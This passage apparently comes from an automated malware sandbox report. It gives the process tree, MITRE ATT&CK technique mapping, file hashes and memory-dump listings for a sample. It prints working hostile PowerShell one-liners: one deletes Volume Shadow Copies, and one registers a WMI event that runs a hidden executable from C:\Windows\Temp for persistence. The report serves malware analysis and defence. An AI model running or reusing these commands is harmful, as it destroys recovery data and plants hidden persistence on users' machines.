    powershell -Command "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Register-WmiEvent -Query 'SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"' -Action { Start-Process 'C:\\Windows\\Temp\\janqi.exe' -WindowStyle Hidden } -SourceIdentifier JanqiTrigger"
  2⤵
  - Executes a command shell one-liner
  PID:5576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Register-WmiEvent -Query 'SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"' -Action { Start-Process 'C:\\Windows\\Temp\\janqi.exe' -WindowStyle Hidden } -SourceIdentifier JanqiTrigger"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3304

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2372

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:5244

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4968

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1492-7-0x00007FF684710000-0x00007FF684757000-memory.dmp

Download

memory/2080-2-0x000002A818D30000-0x000002A818D52000-memory.dmp

Download